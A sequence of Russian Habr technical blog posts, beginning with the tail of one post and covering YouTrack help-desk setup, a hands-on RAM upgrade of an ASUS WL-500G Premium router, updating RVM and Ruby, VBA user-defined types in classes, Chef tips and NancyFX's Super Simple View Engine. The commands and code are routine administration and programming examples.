параметров выставлено так, чтобы не было необходимости что-то задавать, часто даже имя канала или евента выставлено так, как они присваиваются сервисом после регистрации. Но для более полного понимания опций, следует обращаться к документации по конкретному сервису. Исходный код библиотеки и краткие примеры:[**[github.com/aleksraiden/pushBridge.IO/tree/ServiceWrapper](https://github.com/aleksraiden/pushBridge.IO/tree/ServiceWrapper)**](https://github.com/aleksraiden/pushBridge.IO/tree/ServiceWrapper) В планах на ближайший релиз: исправление ошибок, унификация метода send, поддержка публикации сразу нескольких переменный, реализация метода чтения данных, а также поднятие сайта проекта на домене [**pushcloudapi.com**](http://pushcloudapi.com/). Буду благодарен за замечания и дополнения.
https://habr.com/ru/post/136230/
null
ru
null
# Как добавить help desk в ваш трекер YouTrack На Хабре несколько месяцев назад [обсуждалось](http://habrahabr.ru/post/198754/), что нет идеального трекера — такого, чтобы он подошел хорошо и разработчику, и заказчику. В частности, упоминалось, что трекеру нужен **help desk**. В YouTrack начиная с версии 5.1 он есть, и сегодня мы расскажем, как его настраивать. Перед ответом на вопрос «как» полезно понять, зачем. Типичный сценарий выбора YouTrack состоит в том, что вы решаете, какой баг-трекер взять для нового проекта, или легко ли включить требуемую функциональность в существующем. Тогда возможность буквально за пять минут добавить help desk в трекер склонит чашу весов в пользу YouTrack, если проект предполагает общение пользователей со службой поддержки. Прежде всего, help desk должен иметь привычный интерфейс. Нет, мы (~~пока~~) не научили YouTrack отвечать красивым голосом на телефонные звонки. Однако и привыкать к веб-интерфейсу вашим пользователям незачем: в YouTrack можно просто писать письма. У вас на сайте написано, что писать в поддержку надо по адресу *support@your-brilliant-app.com*? Отлично, YouTrack может вынимать письма из этого ящика и делать из них заявки, видимые вашим разработчикам. Хотя YouTrack — не бесплатное решение, вы можете сэкономить. Дело в том, что лицензия на YouTrack покупается на определенное количество разработчиков (до 10 — бесплатно). Разработчики работают с YouTrack с помощью веб-интерфейса. Зарегистрированные пользователи имеют доступ через веб-интерфейс, а чтобы писать письма в help desk и получать ответы, регистрироваться не обязательно. Стало быть, ваши разработчики будут зарегистрированы в YouTrack, а пользователи вашего приложения смогут сообщать о проблемах без регистрации, совершенно бесплатно для вас. Ответы разработчиков, которые они будут писать в комментариях к заявке в YouTrack, будут автоматически приходить пользователям, в том числе и тем, что поставлены в копию письма. #### Делаем себе свой YouTrack Для теста я сделал себе экземпляр YouTrack в облаке. Если в проекте не требуется регистрировать больше 10 разработчиков, то можно взять бесплатный вариант. Создавать свой уютный YouTrack можно начать отсюда: [account.jetbrains.com/youtrackincloud/signup](https://account.jetbrains.com/youtrackincloud/signup) Если после регистрации выбрать русский язык, то YouTrack будет говорить по-русски. Настройка языка — per server, а не per project, так что если у вас есть и русскоязычные проекты, и международные, придется завести несколько экземпляров YouTrack для разноязычных проектов. Все примеры в этом посте будут на русском, а все, кто хочет поглядеть на скриншоты по-английски, могут прочесть [статью на ту же тему по-английски](http://blog.jetbrains.com/youtrack/2014/04/helpdeskers-support-multiple-customers-via-a-single-youtrack-thread). ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/5bf/de0/4ae/5bfde04aefee677b373c88beae517d9f.png) #### Как настроить help desk Нас ждет всего пять простых действий. * Указать SMTP-сервер * Создать проект * Приделать к проекту подобающий workflow * Научить YouTrack вытаскивать письма из ящика * Отполировать настройки (если надо). #### Указать SMTP-сервер В правом верхнем углу экрана есть характерная шестеренка, намекающая, что за ней скрываются настройки YouTrack. ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/6ad/c42/46d/6adc4246d6802b8e6cedeb248d82e0e1.png) Заходим туда, в разделе «Эл. почта» пишем настройки своего SMTP-сервера. Так как я заказал YouTrack в облаке, менять здесь ничего не надо, кроме обратного адреса. Адрес, естественно, будет мой собственный. Обратите внимание: если вы будете отправлять письма пользователям от имени учетной записи на gmail, адрес «от кого» должен совпадать с тем, на который пишут пользователи. Эта настройка может быть per project, но только если ваш SMTP-сервер не против. Если вам надо, чтобы пользователи каждого проекта получали почту от своего, привязанного к проекту, адреса, либо не используйте gmail, либо делайте свой YouTrack для каждого проекта. #### Создать проект Вначале надо как следует спланировать то, что вы хотите видеть в описании каждой задачи (issue). Модифицировать проект можно и потом, но удобно всякие настройки, связанные с трекингом времени, сделать сразу. Поэтому до создания проекта в YouTrack стоит договориться с коллегами, какие поля в задачах понадобятся, по каким правилам вы будете работать с ними. Нажимаете «Создать проект» (см. первый скриншот), и дальше не забудьте только указать, кто у вас будет заниматься задачами в этом проекте. Если ваши разработчики еще не зарегистрированы, зарегистрируйте их, а потом добавьте в список исполнителей. Можно их регистрировать вручную в разделе «Пользователи», а можно каждого попросить зарегистрироваться самостоятельно. #### Приделать к проекту подобающий workflow Термин workflow в YouTrack, как вы, наверное, знаете, означает не только движение заявки по графу состояний (от submitted к fixed, например), но и наборы скриптов, срабатывающих при появлении определенных условий. В русскоязычном интерфейсе workflow называется «рабочий процесс». Самые простые workflow — это выполнение коротких действий по таймеру («в 9:00 за день до deadlin'a отправить руководителю проекта e-mail с напоминалкой») или по изменению заявки («если состояние изменилось на „in progress“, поставить наблюдателем за процессом ведущего разработчика Иванова»). Для изменения или создания новых workflow надо использовать отдельную программу — Workflow Editor, она написана на Java, и будет работать в любой операционной системе. Программа бесплатна, скачивается с [www.jetbrains.com/youtrack/download/get\_youtrack.html](http://www.jetbrains.com/youtrack/download/get_youtrack.html) (кнопка Download Workflow Editor). Однако для настройки help desk'a необязательно менять workflow, достаточно связать с нашим проектом уже готовый, которое приходит в комплекте с YouTrack. Обратите внимание: этот workflow доступен начиная с версии 5.2, не раньше! По умолчанию он не связывается с каждым проектом, так как не каждый проект в YouTrack должен иметь функциональность help desk'a. Искомый workflow — notifyMultipleUnregisteredUsers. Он нужен для того, чтобы уведомить пользователя, приславшего письмо, о том, что сформированная по письму заявка изменилась (например, инженер поддержки добавил уточняющий вопрос или комментарий). Прикрепить workflow к проекту можно в настройках проекта, выбрав закладку «Рабочий процесс». ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/595/174/846/5951748461a36f16ccd7c063d76f2187.png) Диалоговое окно напоминает нам, что поля All related emails и Last message related emails в нашем проекте не существуют, YouTrack предлагает добавить их за нас. Чтобы это сделать, надо кликнуть «Применить быстрое исправление». Есть и другой способ прикрепления workflow к проекту, он понадобится, если нам надо прикрепить один и тот же workflow к нескольким проектам одновременно: надо зайти в **Настройки | Проекты** и в левом нижнем углу выбрать «Рабочий процесс». ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/6fc/a60/83c/6fca6083cf102cf5d1a7f20f6d2778ca.png) Цифра 1 показывает нужный нам набор правил в общем списке workflow, а цифра 2 — что нажать, чтобы прикрепить именно этот набор к нашим проектам. Нажимаем «Прикрепить» — и дальше отмечаем названия проектов из списка. Дело сделано. ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/479/5a6/a83/4795a6a836b7f21ec720d789da932331.png) Если YouTrack подчеркивает красным правила и закладку, это может означать, что вы еще не применили quick fix («быстрое исправление») или оно еще не успело примениться (иногда на это требуется время, особенно, если вы делаете изменения в проекте с большим количеством уже созданных задач). #### Научить YouTrack вытаскивать письма из ящика Добавить почтовый ящик можно в настройках «Интеграция с эл. почтой». Нажимаете «добавить ящик», указываете параметры сервера входящей почты, откуда будете забирать почту. ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/e37/c06/ea0/e37c06ea02b8f91e1ed827df387b0633.png) Теперь кликаем по «Добавить правило» — это правило, по которому YouTrack будет превращать входящие сообщения в задачи (issues). Важно ОБЯЗАТЕЛЬНО зайти на закладку «Автор задачи» и установить пользователя, от имени которого будут создаваться все задачи из пришедших писем. Если этого не сделать, YouTrack будет регистрировать авторов всех писем как пользователей, а это, как мы помним, требует лицензии на большое их количество. ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/66f/028/186/66f028186a7069b5610f2a199561a503.png) На вкладке «Пост-обработка» впишите, что именно делать при создании задачи: `Last message related emails ${from} ${to} ${cc}` Эта команда нужна для временного сохранения информации из письма и используется процессом ***notifyMultipleUnregisteredUsers***. Указать ее надо в двух местах: для применения при создании задачи и при добавлении комментария. ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/bb9/599/b85/bb9599b85b66032d517c0c205e5b8e3c.png) Настройка завершена, остается отполировать настройки, если проект того требует. #### Отполировать настройки ##### Изменение списка e-mail для рассылки уведомлений Бывают случаи, когда созданные правила обработки писем надо дополнить. Например, если вы собираете в один почтовый ящик письма, отправленные на разные алиасы, для корректной рассылки уведомлений надо кое-что подкрутить. Смотрите: предположим, вы собираете в общий ящик техподдержки вашей компании письма в support разных приложений: *app1-support@company.com* и *app2-support@company.com*. Приходящие на оба алиаса письма собираются в ящик с адресом *support@company.com*. Тогда, чтобы не плодить циклических рассылок, надо убирать из заголовков писем, собранных YouTrack'ом из этого ящика, адреса *app1-support@company.com* и *app2-support@company.com*. Чтобы это сделать, надо создать новый workflow и прикрепить его к проекту. Для этого понадобится скачать и установить Workflow Editor (если вы этого не сделали раньше) и создать новое правило: ``` rule Remove additional feedback emails from All related emails when All related emails.changed { All related emails = All related emails.replace( "app1-support@company.com", ""); All related emails = All related emails.replace( "app2-support@company.com", ""); } ``` ##### Уведомление пользователей о получении запроса По умолчанию нотификация о том, что help desk получил письмо от пользователя, выключена. Мы считаем, что пользователи не любят спам. Однако если вашим пользователям такие письма спамом не кажутся, то можно модифицировать правило ‘Collect related emails on issue creation’ внутри workflow notifyMultipleUnregisteredUsers. Перед строкой `Last message related emails=null` надо вставить отправку уведомления: ``` var reporterEmail = Last message related emails.split( " ",preserveAllTokens).first sendMail(reporterEmail, “Your subject”, “Your email body”) ``` Теперь ваш YouTrack полностью готов к тому, чтобы быть не просто трекером, но и help desk'ом. Если вы еще не пробовали YouTrack, [попробуйте его в облаке](https://account.jetbrains.com/youtrackincloud/signup). Можно начать и с [версии, которая устанавливается локально](http://www.jetbrains.com/youtrack/download/get_youtrack.html). В JetBrains help desk одного проекта уже сделан на YouTrack. Будет здорово, если в комментах вы поделитесь опытом: удобно ли совмещать баг-трекер с help desk'ом, какой help desk вам милее, что прикручиваете к трекерам.
https://habr.com/ru/post/222673/
null
ru
null
# Прокачка ASUS WL 500G Premium На Хабре уже было пару статей, о весьма неплохом роутере WL 500G Premium от ASUS.    В устройстве заложен неплохой потенциал – довольно шустрый процессор BCM4704 фирмы Broadcom, 32 Мб оперативной памяти, наличие двух портов USB (хоть и с не высокой пропускной способностью). Подкачал Wi-Fi модуль, предел которого составляет 54Mbps при использовании 802.11g. Но для ноутбука, нетбука, коммуникатора и других мобильных устройств вполне достаточно. ![](https://habrastorage.org/r/w780q1/storage/20f984f0/8bb9ca32/8fb318b6/a83cec72.jpg)    Данная начинка просто требовала более правильного использования, чем этого хотели программисты ASUS. Посему были созданы как модификации родной прошивки (прошивка от Oleg`a [oleg.wl500g.info](http://oleg.wl500g.info)), так и полностью новые проекты (DD-WRT [www.dd-wrt.com](http://www.dd-wrt.com)).    Весьма востребованной оказалась возможность подключения внешнего жесткого диска по USB интерфейсу и установка торрент-клиента (Transmission, rtorrent), что бы разгрузить большого брата и спать ночью в полной тишине.    Все эти операции были проделаны (об этом можно будет написать еще одну статью) и был получен своеобразный сидбокс, который весьма хорошо справлялся со своими обязанностями. …количество раздаваемых торрентов не перевалило за 150 штук. С таким количеством раздач роутер стал заметно тормозить, наличие свопа на жестком диске не спасало ситуацию. Посему, было решено добавить оперативной памяти этой замечательной железке.    Основанием для этого послужила статья [www.wl500g.info/showthread.php?t=7048](http://www.wl500g.info/showthread.php?t=7048) которую написал Oleg, автор одноименной прошивки, а также, последующее обсуждение ее участниками форума [www.wl500g.info/showthread.php?t=7523](http://www.wl500g.info/showthread.php?t=7523).    Почитав пару дней эту тему, я заранее смирился с потерей роутера (ибо всегда надо быть готовым к худшему) и приступил к поиску требуемых чипов для апгрейда.    Для данной операции подходили лишь чипы соответствующие следующим условиям: 1) Микросхемы DDR 1 с частотой 333mhz или выше (желательно, что бы чип работал с задержкой Cl2 на 333Mhz стабильно). 2) Внутренняя организация чипа должна быть 32М х 16 (читать как 32 мегаслова на 16 разрядов). 3) Корпус микросхемы 66-PIN TSOP    Список опробованных чипов и модулей памяти, с которых они были сняты, также можно почерпнуть с уже упоминаемого форума [www.wl500g.info/showpost.php?p=122252&postcount=630](http://www.wl500g.info/showpost.php?p=122252&postcount=630) Через пару дней была найден модуль 256Mb DIMM PC3200 с маркировкой Hynix HYMD532646CP6J-D43 и чипами Hynix HY5DU121622CTP-D43. Для проведения трансплантации были использованы: * Паяльная станция с паяльником и феном Lukey 852D+Fan ![image](http://img9.imageshost.ru/imgs/100217/cb9c1e30bf/963bb.jpg) * Флюс для пайки электронных компонентов F-2000 ![image](http://img9.imageshost.ru/imgs/100217/35fa1730ff/b1a3c.jpg) * Припой LC-60 ![image](http://img9.imageshost.ru/imgs/100218/72162c3b65/4a9b5.jpg) * Лента для удаления припоя (весьма полезная вещь, позволяет легко и быстро удалить лишний припой и подчистить ляпы после пайки) ![image](http://img9.imageshost.ru/imgs/100218/93f600f4f0/8d148.jpg) * Спирт изопропиловый. Для удаления остатков флюса после пайки ![image](http://img9.imageshost.ru/imgs/100218/e20777ae4e/41c05.jpg) * Ватные палочки для удобства пользования спиртом * Много терпения    Итак, разбираем наш роутер. Для этого достаточно отлепить резиновые ножки на дне. Под ними скрываются 4 самореза. Выкручиваем их и снимаем крышку. Плата крепится на четырех направляющих и снять ее можно просто поддев пальцем. Не забудьте перед этим отсоединить Wi-Fi волновод. На фото справа внизу видим металлическую пластину. Это крышка, которая защищает цепи, связывающие процессор и ОЗУ от электромагнитных наводок. ![image](http://img9.imageshost.ru/imgs/100218/78350f2b61/6e5a7.jpg)    При помощи отвертки крышка легко снимается. ![image](http://img9.imageshost.ru/imgs/100218/787f24b87b/b941c.jpg)    Под ней расположены два чипа ОЗУ фирмы Samsung (также есть варианты с Hynix и Winbond), процессор, и флеш-память объемом 8 мегабайт, в которой хранится прошивка. Для удобства последующих манипуляций, я бы рекомендовал удалить крестовину, перерезав ее кусачками возле ребер которые идут по периметру.    С другой стороны платы, для того же экранирования, наклеен прямоугольный кусок фольги, которые необходимо аккуратно снять. Под ним находятся дорожки адресных строк с токоограничивающими резисторами.    Перед проведением замены памяти, нужно будет допаять резистор сопротивлением 33 Ома в пустующее место под номером R43. Это позволит задействовать адресную линию A12, для адресации всех 128 мегабайт памяти, которую мы установим. Резистор такого номинала и размера можно снять с того же модуля DDR, который стал донором чипов, либо с неисправных IDE жестких дисков, либо просто купить в магазине радиодеталей. ![image](http://img9.imageshost.ru/imgs/100218/5213b5e36c/b1443.jpg) Итак, резистор впаян.    Приступим к замене чипов. Чипы припаяны тугоплавким бессвинцовым припоем. В моем случае припой начал «плыть» при 420 градусах, по индикатору станции. Наносим на выводы чипа флюс — немного. Аккуратно прогреваем ноги с обеих сторон и снимаем чип пинцетом.    При отсутствии паяльной станции, можно воспользоваться паяльником мощностью 60 Ватт с плоским жалом. В таком случае будет нужно продеть под выводы нить и, прогревая их паяльником, до расплавления припоя, аккуратно натянуть ее, отпаяв сначала одну сторону чипа, а потом другую. ![image](http://img9.imageshost.ru/imgs/100218/51988da14c/3392e.jpg) Повторяем операцию для другого чипа.    Далее, при помощи ленты для удаления припоя, удаляем остатки старого припоя. Для этого достаточно наложить ленту сверху оставшегося припоя и прогреть его через ленту паяльником.    Фото не мое, но процесс понятен ![image](http://img9.imageshost.ru/imgs/100218/b7332d22a0/56f82.jpg)    Лента сплетена из тонких медных жилок и пропитана флюсом, она втянет припой в себя. Участок, который пропитан припоем, отрезается и выбрасывается. В итоге получим чистые контактные площадки. ![image](http://img9.imageshost.ru/imgs/100218/c1758e4a81/2cddc.jpg)    Далее, наносим на них флюс, и при помощи паяльника наносим припой LC-60, он не такой тугоплавкий и работать с ним гораздо проще. Это исключит непропаи, которые могли бы возникнуть, если оставить старый тугоплавкий припой. В итоге должны получится хорошо залуженные контакты.    Ориентируясь по ключу, накладываем чип на плату. ![image](http://img9.imageshost.ru/imgs/100218/44693349a8/fb786.jpg)    И проходим тонким паяльником по каждой ножке, заставляя расплавится припой под ней и прижимаем ее к контактной площадке. Та же операция и для другого чипа.    Пропаяв все, берем ватные палочки, спирт и вытираем следы флюса на плате и между ножками чипов. Попутно осматриваем на наличие «соплей», т.е. нежелательных соединение соседних ножек чипов, которые могли возникнуть в результате не точного касания паяльником, дрожащих рук и прочих земных и внеземных факторов. Также осматриваем на предмет возможных непропаев, т.е. не качественного контакта вывода и площадки печатной платы.    Если все в порядке, ждем пока, высохнет спирт и включаем устройство. При качественно выполненной работе, роутер загружается сразу: загорится индикатор «Power» а через 5-10 секунд «Air».    Если вы включили устройство, а индикатор Power не горит и Air горит тускло – это говорит о том, что роутер не загрузился. Виной этому, как правило, непропай (для устранения еще раз пройдитесь по каждой ножке паяльником), либо «сопля» (возьмите лупу или линзу, настольную лампу и внимательно осмотрите места пайки) для удаления лишнего используем ленту и паяльник.    После удачной загрузки роутера, заходим в его консоль через telnet или ssh и вводим команды, которые позволят включить программную адресацию всех 128 мегабайт `nvram set sdram_init=0x0011 nvram set sdram_config=0x0062 nvram commit`    Перезагружаем роутер `reboot`    И с помощью команды `free` видим доступное количество ОЗУ. ![image](http://img9.imageshost.ru/imgs/100218/eb82bf1189/a4c25.jpg)    На данный момент после такого апгрейда роутер успешно справляется с раздачей 213 торрентов без видимых подтормаживаний.    P.S. Точно так же можно увеличить количество ОЗУ в роутерах ASUS WL500G Premium v2 и D-Link 320. Но у них внутри всего один чип, поэтому нарастить получится только до 64 мегабайт.
https://habr.com/ru/post/85128/
null
ru
null
# Срочно обновляем RVM (Ruby Version Manager) Совсем недавно во многих ruby-блогах, сообществах, да и [на хабре](http://habrahabr.ru/post/160371/), было написано немало постов о том что RVM дурно влияет на производительность MRI-версии ruby (официальный интерпретатор языка) по причине того что установщик не учитывает оптимизации компилятора GCC. Конечно для этого недуга были «лекарства», но применять их приходилось ручками, причем довольно-таки прямыми. Так вот, спешу всех обрадовать что в последних версиях RVM (начиная с версии 1.17.0) ситуация изменилась, и конечно же в лучшую сторону, теперь Вы снова можете полностью положится на менеджера версий ruby. Все что Вам нужно сделать — это обновиться до последней версии. Для тех кто не умеет или забыл как это делается, подскажу. Запускаем терминал, и пишем: ``` $ rvm get stable ``` RVM тянет последнюю стабильную версию себя, перезапускается, и выводит стандартное сообщение с результатом обновления и благодарностями за использование от небезызвестного Уэйна Сегвина (Wayne E. Seguin), автора данного пакета. После того как RVM обновлен, Вам необходимо перекомпилировать установленные MRI версии ruby, а еще лучше — установить последнюю. На момент написания данного поста, последние стабильные версии это: *RVM — 1.17.2* и *Ruby — 1.9.3-p327*. Перекомпилировать ruby с помощью RVM очень просто: ``` $ rvm reinstall 1.9.3 ``` Для того чтобы использовать свежеустановленную версию ruby по умолчанию, выполните: ``` $ rvm use 1.9.3 --default ``` Помимо процессорных оптимизаций, RVM теперь знает про [патч funny-falcon'а](https://gist.github.com/4136373) и ставит его со всеми последними версиями для которых он существует. Прирост производительности очевиден, на моем *Intel® Core(TM) i5-2320 CPU @ 3.00GHz* с четырьмя гигами ОЗУ под *Ubuntu 12.04*, типичный бенчмарк дает следующие результаты: До *(RVM — 1.16.17, Ruby — 1.9.3-p286)* ``` $ time ruby -e "count = 0; while(count < 100000000); count = count + 1; end; puts count" 100000000 real 0m5.303s user 0m5.244s sys 0m0.016s ``` После *(RVM — 1.17.2, Ruby — 1.9.3-p327)* ``` $ time ruby -e "count = 0; while(count < 100000000); count = count + 1; end; puts count" 100000000 real 0m1.940s user 0m1.932s sys 0m0.004s ``` Ну вот собственно и все. Спасибо за внимание, как говорится — Happy Hacking! **Update:** для пользователей *Mac OS X 10.6 и выше*. Для явной компиляции при установке Ruby, возможно потребуется добавить опцию `--with-gcc=clang`, то есть: ``` $ rvm reinstall 1.9.3 --with-gcc=clang ``` Спасибо пользователю [virusman](https://habrahabr.ru/users/virusman/) за эту наводку.
https://habr.com/ru/post/162533/
null
ru
null
# User Defined Type. Что это и как его использовать, часть 2 ![Source: https://www.meme-arsenal.com/create/meme/1067402](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/cac/0d5/5b0/cac0d55b0e04bbe4ecbd7df6c91e4327.jpeg "Source: https://www.meme-arsenal.com/create/meme/1067402")Source: https://www.meme-arsenal.com/create/meme/1067402Итак, в [первой части](https://habr.com/ru/post/691000/) мы затронули применение UDT в обычном модуле, и в комментариях справедливо заметили, что UDT сильно проигрывает классам. И да, действительно, если использовать класс как DTO (Data Transfer Object), он более функционален, чем UDT. В этой заключительной части, я хотел бы рассказать о применении UDT в классах, кто такой Mathieu Guindon и причем тут резиновая уточка. ### Ключевое слово this Ну, на самом деле я слегка лукавлю, такого *кейворда* в VBA нет, но обо всем по порядку. **Обозначим задачу:** Мы разобрали, как использовать UDT в качестве структуры письма (см. [первую часть](https://habr.com/ru/post/691000/)). Это вполне себе рабочая схема, но иной раз не совсем удобная. В чем же минусы? Сходу я вижу как минимум два: * Нет возможности встроить проверку передаваемых значений. * Чтобы собрать несколько UDT в один контейнер, в качестве этого самого контейнера можно использовать только массив. Это не то, чтобы критично, но часто неудобно. А по сему, попробуем сделать реализацию структуры `TLetter` в виде класса. Создаем новый класс-модуль и называем его `Letter`. Сразу пропишем необходимые поля: ``` Option Explicit Public AddressTo As String Public AddressCC As String Public Subject  As String ``` Так как это класс, надо бы пользоваться его функционалом. Добавим проверку передаваемых значений, например email-адресов. Усложнять не будем, просто проверяем наличие символа "@" и бросаем ошибку, если его нет: ``` Option Explicit Private AddressTo1 As String Private AddressCC1 As String Private Subject1   As String Public Property Get AddressTo() As String   AddressTo = AddressTo1 End Property Public Property Let AddressTo(ByVal RHS As String)   If Not ValidateEmail(RHS) Then Err.Raise 0, TypeName(Me)   AddressTo1 = RHS End Property Public Property Get AddressCC() As String   AddressCC = AddressCC1 End Property Public Property Let AddressCC(ByVal RHS As String)   If Not ValidateEmail(RHS) Then Err.Raise 0, TypeName(Me)   AddressCC1 = RHS End Property Public Property Get Subject() As String   Subject = Subject1 End Property Public Property Let Subject(ByVal RHS As String)   Subject1 = RHS End Property Private Function ValidateEmail(ByVal Email As String) As Boolean ValidateEmail = InStr(1, RHS, "@") > 0 End Function ``` Что мы видим? Добавились свойства. У полей изменился модификатор доступа на `private` и к каждому имени добавилась цифра 1. Проблема в том, что VBA не чувствителен к регистру имен переменных, поэтому `addressTo` и `AddressTo` для него одно и тоже, а соответственно свойства и поля называть одинаково мы не можем. #### И вот тут как нельзя кстати будет UDT Объявляем новый тип `TLetter`, помещаем в него все наши поля (с нормальными названиями, без цифр). Далее объявляем приватное поле `this` с типом `TLetter`. Теперь переданное в свойство значение помещается в переменную вида `this.AddressTo`, что выглядит куда лучше и понятнее: ``` Option Explicit Private Type TLetter   AddressTo As String   AddressCC As String   Subject   As String End Type Private this As TLetter Public Property Get AddressTo() As String   AddressTo = this.AddressTo End Property Public Property Let AddressTo(ByVal RHS As String)   If Not ValidateEmail(RHS) Then Err.Raise 0, TypeName(Me)   this.AddressTo = RHS End Property Public Property Get AddressCC() As String   AddressCC = this.AddressCC End Property Public Property Let AddressCC(ByVal RHS As String)   If Not ValidateEmail(RHS) Then Err.Raise 0, TypeName(Me)   this.AddressCC = RHS End Property Public Property Get Subject() As String   Subject = this.Subject End Property Public Property Let Subject(ByVal RHS As String)   this.Subject = RHS End Property Private Function ValidateEmail(ByVal Email As String) As Boolean ValidateEmail = InStr(1, RHS, "@") > 0 End Function ``` ### Mathieu Guindon и Rubberduck Я думаю, вы наверняка уже видели подобное такое решение в моей [первой статье на Хабре](https://habr.com/ru/post/690298/). По сути такой подход - есть ни что иное как паттерн. Автор этого паттерна господин Mathieu Guindon, он же автор достаточно известного дополнения для VBE - [Rubberduck](https://rubberduckvba.com/) (*резиновая уточка*). Так как в этой статье мы все таки разбираем UDT и способ его применения, а не то почему так правильнее делать, я бы хотел передать слово самому Mathieu, а именно его статье [Private this As TSomething](https://rubberduckvba.wordpress.com/2018/04/25/private-this-as-tsomething/). В ней он достаточно подробно разбирает почему это удобно и чем плоха Венгерская нотация (а именно, добавление в название поля `m` - `mAddressTo`). ### Короче... Эта часть вышла более компактной, т.к. цель данной статьи не переписывать слова автора паттерна, а скорее обратить внимание на такой подход. Надеюсь, что тем не менее было полезно. > *Спасибо, что прочитали до конца. > Стали бы применять подобный паттерн? Пишите в комментариях! > А также, подписывайтесь на мой* [*телеграмм*](https://t.me/VBAn_Diary)*.* > >
https://habr.com/ru/post/711222/
null
ru
null
# Кулинарные хитрости, часть первая (Chef) После недавней [вводной публикации о Chef](http://habrahabr.ru/company/scalaxy/blog/87302/) я решил немного больше рассказать о полезных рецептах: [![](https://habrastorage.org/r/w1560/storage/habraeffect/4c/e6/4ce6463eccd0edbfb6a1a705294af0cd.png)](https://habrastorage.org/storage/habraeffect/4c/e6/4ce6463eccd0edbfb6a1a705294af0cd.png "Хабраэффект.ру;") #### Используем внешние конфигураторы Иногда нам приходится конфигурировать наши машины не на основании внутренних атрибутов Chef, а на основании конфигурации, предоставляемой сторонней службой (которую опять-же ставит Chef). В таком случае нам поможет [такой трюк](http://www.opscode.com/blog/2009/06/01/cool-chef-tricks-install-and-use-rubygems-in-a-chef-run/): описываем ресурс и запускаем его на этапе описания рецепта. Это полезно, например, если мы храним часть данных в LDAP. Тогда мы должны сперва посредством Chef поставить и настроить клиент openldap, поставить нужный гем для получения нужных данных из LDAP, и затем эти данные можно использовать прямо в рецепте. #### Переходим на Chef 0.8 После обновления до [Chef 0.8.6](http://wiki.opscode.com/display/chef/Upgrading+Chef+0.7.x+to+0.8.x) мы обнаружили, что сильно изменился способ аутентификации клиентов. Теперь для выполнения стандартного bootstrap нам нужно перед первым выполнением chef-client положить в /etc/chef файл /etc/chef/validation.pem (брать на сервере оттуда-же). После этого клиент сможет автоматически провалидировать себя и получить свой личный сертификат /etc/chef/client.pem. Не забудьте обновить в своём репозитории Chef рецепт chef, каталоги config и основной Rakefile. #### Множество поваренных книг Поскольку многие поваренные книги лежат на GitHub, можно найти немало полезного, пробегаясь по форкам тех же [github.com/opscode/cookbooks](http://github.com/opscode/cookbooks). Если это возможно, старайтесь и свои рецепты отпускать в свободное плавание. #### Правильно рестартим chef-server Если Вы настроили Chef с использованием [стиля инициализации runit](http://habrahabr.ru/blogs/sysadm/83775/), который предлагается по умолчанию, то chef-server неправильно реагирует на команду `sv restart chef-server`. Решается это добавлением файла /etc/sv/chef-server/control/t (0755) со следующим содержанием: ``` #/bin/sh exec 2>&1 /usr/bin/sv interrupt chef-server ``` #### Следим за сервисами Приложения без ошибок не существуют. Поэтому их нужно мониторить, для чего полезны такие инструменты, как runit, monit, god, munin, cacti, nagios, zabbix etc. Но я бы хотел обратить ваше внимание также на [Bluepill](http://asemanfar.com/Why-We-Wrote-Bluepill), как замену сервисам monit и god.
https://habr.com/ru/post/87324/
null
ru
null
# Создаем первое приложение на NancyFX. Часть пятая. Super Simple View Engine В предыдущей статье [Создаем первое приложение на NancyFX. Часть четвертая. Продолжаем работу с модулями](http://habrahabr.ru/post/200632/) мы продолжали изучение модулей. В данной статье мы изучим идущий с Nancy из коробки графический движок Super Simple View Engine. Итак, давайте создадим новый модуль: ``` using Nancy; namespace NancyFxApplication { public class ViewModule : NancyModule { public ViewModule() : base("/views") { Get["/"] = param => View["View.html"]; } } } ``` И добавим в корень нашего проекта файл View.html, который будет иметь следующий вид ``` Super Simple View Engine Rule! Hello! I'm super Simple View Engine! ==================================== ``` Запустим приложение и получим следующий результат: ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/653/777/7d6/6537777d630a6a034bda52c157640273.png) Nancy поддерживает следующие соглашения по размещению и наименованию файлов для представлений: * Файл представления может быть размещен в корне проекта. * Файл представления может быть размещен в папке Views * Файл может быть размещен в папке с именем модуля, которая в свою очередь находится в папке Views * Файл может находиться в корне папки модуля * Файл может иметь имя как у модели и находиться где угодно в проекте * Также размещение файла можно указать вручную или же определить Ваше собственное соглашение о размещении представления Можно указывать название файла без расширения, Nancy просто выберет первый попавшийся файл представления с именем переданным во View. Теперь когда мы разобрались с размещением файлов представлений давайте более детально рассмотрим Super Simple View Engine. Super Simple View Engine использует синтаксис аналогичный синтаксису Razor. Вы можете найти проект на GitHub перейдя по ссылке [Super Simple View Engine](https://github.com/grumpydev/SuperSimpleViewEngine). SSVE не поддерживает вложенные коллекции. При отображении сложных типов данных гораздо эффективнее использовать Razor. Итак, теперь используем фэйковый репозиторий из прошлой статьи для получения данных. Код репозитория выглядит следующим образом: ``` using System.Collections.Generic; namespace NancyFxApplication { public static class DishesRepository { public static List Dishes = new List { new Dish { Id=1, Name = "Porridge", IsSpicy = false, Ingridientses = new List{new Ingridients{Id = 1, Name = "Porridge"}}}, new Dish {Id = 2, Name = "Chili", IsSpicy = true}, new Dish {Id = 3, Name = "Icecream", IsSpicy = false}, new Dish {Id = 3, Name = "Taco", IsSpicy = false}, new Dish {Id = 3, Name = "Burito", IsSpicy = true} }; public static List GetAllDishes() { return Dishes; } public static void AddDish(Dish dish) { Dishes.Add(dish); } } } ``` Модифицируем модуль ViewModule: ``` using System.Collections.Generic; using Nancy; namespace NancyFxApplication { public class ViewModule : NancyModule { public ViewModule() : base("views") { Get["/"] = param => { List dishes = DishesRepository.GetAllDishes(); return View['View.html', dishes]; }; } } } ``` И в свою очередь модифицируем представление ``` Super Simple View Engine Rule! List of dishes: =============== @Each * @Current.Name @EndEach ``` Запустим наше приложение и получив следующий результат. ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/dad/59f/32a/dad59f32a0eb20db4900d4776092e4cc.png) Движок представлений предоставляет возможности использования операторов @If, однако, хочется заметить, что 